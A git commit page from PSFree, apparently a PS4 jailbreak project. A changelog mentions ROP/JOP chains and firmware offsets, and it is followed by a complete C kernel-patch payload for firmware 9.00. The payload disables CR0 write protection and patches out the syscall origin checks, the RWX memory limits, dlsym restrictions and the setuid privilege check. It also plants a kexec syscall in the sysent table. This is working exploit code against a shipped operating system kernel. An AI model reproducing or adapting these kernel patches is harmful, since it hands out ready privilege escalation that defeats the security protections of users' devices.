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Prep for multi-fw and publishing on GitHub

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### Added

- `.gitignore` for kpatch output
- Auto detect console type and firmware in `config.mjs`
  - Used elsewhere to determine which offsets/patches/ROP chain are used
- WIP: Add 8.50-9.60 support
  - All offsets found
  - Running into some issue here. Wiped out my JOP chains to redo them...

### Fixed

- Call `lapse.mjs` rather than `code.mjs`
- Makefile for kpatch builds all currently available

### Changed

- Use relative locations rather than absolute
- Changed kpatch binaries to just be shellcode vs full ELFs
  - 5,216 bytes to 257 bytes.
- Build kpatch binaries with `-Os` rather than `-O`
  - 257 bytes to 233 bytes.
- Renamed/Formatted `CHANGELOG.md`, `README.md`, and `LICENSE`
This commit is contained in:
Al Azif
2025-05-12 14:42:31 -07:00
parent b9f5957555
commit 3e47ad92a0
33 changed files with 2099 additions and 218 deletions
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178
src/kpatch/900.c Normal file
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@@ -0,0 +1,178 @@
/* Copyright (C) 2024-2025 anonymous
This file is part of PSFree.
PSFree is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as
published by the Free Software Foundation, either version 3 of the
License, or (at your option) any later version.
PSFree is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>. */
// 9.00
#include <stddef.h>
#include "types.h"
#include "utils.h"
struct kexec_args {
u64 entry;
u64 arg1;
u64 arg2;
u64 arg3;
u64 arg4;
u64 arg5;
};
void do_patch(void);
void restore(struct kexec_args *uap);
__attribute__((section (".text.start")))
int kpatch(void *td, struct kexec_args *uap) {
do_patch();
restore(uap);
return 0;
}
void restore(struct kexec_args *uap) {
u8 *pipe = uap->arg1;
u8 *pipebuf = uap->arg2;
for (size_t i = 0; i < 0x18; i++) {
pipe[i] = pipebuf[i];
}
u64 *pktinfo_field = uap->arg3;
*pktinfo_field = 0;
u64 *pktinfo_field2 = uap->arg4;
*pktinfo_field2 = 0;
}
void do_patch(void) {
// offset to fast_syscall()
const size_t off_fast_syscall = 0x1c0;
void * const kbase = (void *)rdmsr(0xc0000082) - off_fast_syscall;
disable_cr0_wp();
// patch amd64_syscall() to allow calling syscalls everywhere
// struct syscall_args sa; // initialized already
// u64 code = get_u64_at_user_address(td->tf_frame-tf_rip);
// int is_invalid_syscall = 0
//
// // check the calling code if it looks like one of the syscall stubs at a
// // libkernel library and check if the syscall number correponds to the
// // proper stub
// if ((code & 0xff0000000000ffff) != 0x890000000000c0c7
// || sa.code != (u32)(code >> 0x10)
// ) {
// // patch this to " = 0" instead
// is_invalid_syscall = -1;
// }
write32(kbase, 0x490, 0);
// these code corresponds to the check that ensures that the caller's
// instruction pointer is inside the libkernel library's memory range
//
// // patch the check to always go to the "goto do_syscall;" line
// void *code = td->td_frame->tf_rip;
// if (libkernel->start <= code && code < libkernel->end
// && is_invalid_syscall == 0
// ) {
// goto do_syscall;
// }
//
// do_syscall:
// ...
// lea rsi, [rbp - 0x78]
// mov rdi, rbx
// mov rax, qword [rbp - 0x80]
// call qword [rax + 8] ; error = (sa->callp->sy_call)(td, sa->args)
//
// sy_call() is the function that will execute the requested syscall.
write16(kbase, 0x4b5, 0x9090);
write16(kbase, 0x4b9, 0x9090);
write8(kbase, 0x4c2, 0xeb);
// patch sys_mmap() to allow rwx mappings
// patch maximum cpu mem protection: 0x33 -> 0x37
// the ps4 added custom protections for their gpu memory accesses
// GPU X: 0x8 R: 0x10 W: 0x20
// that's why you see other bits set
// ref: https://cturt.github.io/ps4-2.html
write8(kbase, 0x16632a, 0x37);
write8(kbase, 0x16632d, 0x37);
// patch vm_map_protect() (called by sys_mprotect()) to allow rwx mappings
//
// this check is skipped after the patch
//
// if ((new_prot & current->max_protection) != new_prot) {
// vm_map_unlock(map);
// return (KERN_PROTECTION_FAILURE);
// }
write32(kbase, 0x80b8d, 0);
// patch sys_dynlib_dlsym() to allow dynamic symbol resolution everywhere
// call ...
// mov r14, qword [rbp - 0xad0]
// cmp eax, 0x4000000
// jb ... ; patch jb to jmp
write8(kbase, 0x23b67f, 0xeb);
// patch called function to always return 0
//
// sys_dynlib_dlsym:
// ...
// mov edi, 0x10 ; 16
// call patched_function ; kernel_base + 0x951c0
// test eax, eax
// je ...
// mov rax, qword [rbp - 0xad8]
// ...
// patched_function: ; patch to "xor eax, eax; ret"
// push rbp
// mov rbp, rsp
// ...
write32(kbase, 0x221b40, 0xc3c03148);
// patch sys_setuid() to allow freely changing the effective user ID
// ; PRIV_CRED_SETUID = 50
// call priv_check_cred(oldcred, PRIV_CRED_SETUID, 0)
// test eax, eax
// je ... ; patch je to jmp
write8(kbase, 0x1a06, 0xeb);
// overwrite the entry of syscall 11 (unimplemented) in sysent
//
// struct args {
// u64 rdi;
// u64 rsi;
// u64 rdx;
// u64 rcx;
// u64 r8;
// u64 r9;
// };
//
// int sys_kexec(struct thread td, struct args *uap) {
// asm("jmp qword ptr [rsi]");
// }
// sysent[11]
const size_t offset_sysent_11 = 0x1100520;
// .sy_narg = 6
write32(kbase, offset_sysent_11, 6);
// .sy_call = gadgets['jmp qword ptr [rsi]']
write64(kbase, offset_sysent_11 + 8, kbase + 0x4c7ad);
// .sy_thrcnt = SY_THR_STATIC
write32(kbase, offset_sysent_11 + 0x2c, 1);
enable_cr0_wp();
}